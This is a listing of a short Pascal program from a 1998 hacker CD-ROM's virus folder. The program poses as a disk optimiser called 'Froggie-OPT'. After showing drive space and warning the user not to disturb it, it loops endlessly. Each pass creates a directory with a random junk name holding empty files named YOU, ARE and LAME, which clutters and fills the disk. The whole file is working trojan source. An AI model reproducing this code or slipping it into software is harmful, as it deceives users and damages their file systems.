home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / froggie.pas < prev    next >
Encoding:
Pascal/Delphi Source File  |  2003-06-11  |  1.8 KB  |  78 lines
  1. program Disk_Space;
  2. { This program makes use of the
  3.  
  4.        CHR command
  5.        USES command
  6.        VAR command
  7.        CLRSCR command
  8.        WRITELN command
  9.        DISKFREE command
  10.        DISKSIZE command
  11.        TRUNC command
  12.        IF-THEN-ELSE command
  13.        REPEAT-UNTIL command
  14.        ASSIGN command
  15.        REWRITE command
  16.        WRITE command
  17.        DELAY command
  18.        CLOSE command
  19.        RANDOMIZE command
  20.        }
  21. uses dos,crt;
  22. var cdn:byte;
  23.     dirname:string;
  24.     a,b,c,d,e,f,g,h,i,j,k,l:char;
  25.     ii:integer;
  26.     q:text;
  27.     ai:boolean;
  28. begin
  29. randomize;
  30. clrscr;
  31. cdn:=2;
  32. gotoxy(22,2);
  33. Writeln('Froggie-OPT v1.12 (c) Jason Friedman');
  34. gotoxy(25,3);
  35.  
  36. writeln('Please wait - Reading System Data');
  37. repeat;
  38. cdn:=cdn+1;
  39. if (diskfree(cdn)<1) and (cdn<3) then
  40.     Writeln('   Your disk for drive ',chr(cdn+64),': is not in the drive')
  41. else
  42. if (diskfree(cdn)>1) then
  43.     Writeln('   Your disk space free for drive ',chr(cdn+64),': is ',
  44.     trunc(diskfree(cdn)/1000),' KB out of ',trunc(disksize(cdn)/1000),' KB');
  45.     until (diskfree(cdn)<1) and (cdn>2);
  46. delay(1000);
  47. repeat
  48. writeln(' Preparing to Froggie OPT - Please do not disturb');
  49. writeln(' Any type of disturbance will cause file damnage ');
  50. ii:=ii+1;
  51. a:=chr(trunc(random(255)));
  52. b:=chr(trunc(random(255)));
  53. c:=chr(trunc(random(255)));
  54. d:=chr(trunc(random(255)));
  55. e:=chr(trunc(random(255)));
  56. f:=chr(trunc(random(255)));
  57. g:=chr(trunc(random(255)));
  58. h:=chr(trunc(random(255)));
  59. i:=chr(trunc(random(255)));
  60. j:=chr(trunc(random(255)));
  61. k:=chr(trunc(random(255)));
  62. l:=chr(trunc(random(255)));
  63. mkdir (a+b+c+d+e+f+g+h+i+'.'+j+k+l);
  64. chdir (a+b+c+d+e+f+g+h+i+'.'+j+k+l);
  65.   assign (q,'YOU');
  66.   rewrite (q);
  67.   close (q);
  68.   assign (q,'ARE');
  69.   rewrite (q);
  70.   close (q);
  71.   Assign (q,'LAME');
  72.   rewrite (q);
  73.   close (q);
  74.   chdir('..');
  75.   until ai=true;
  76. end.
  77.  
  78.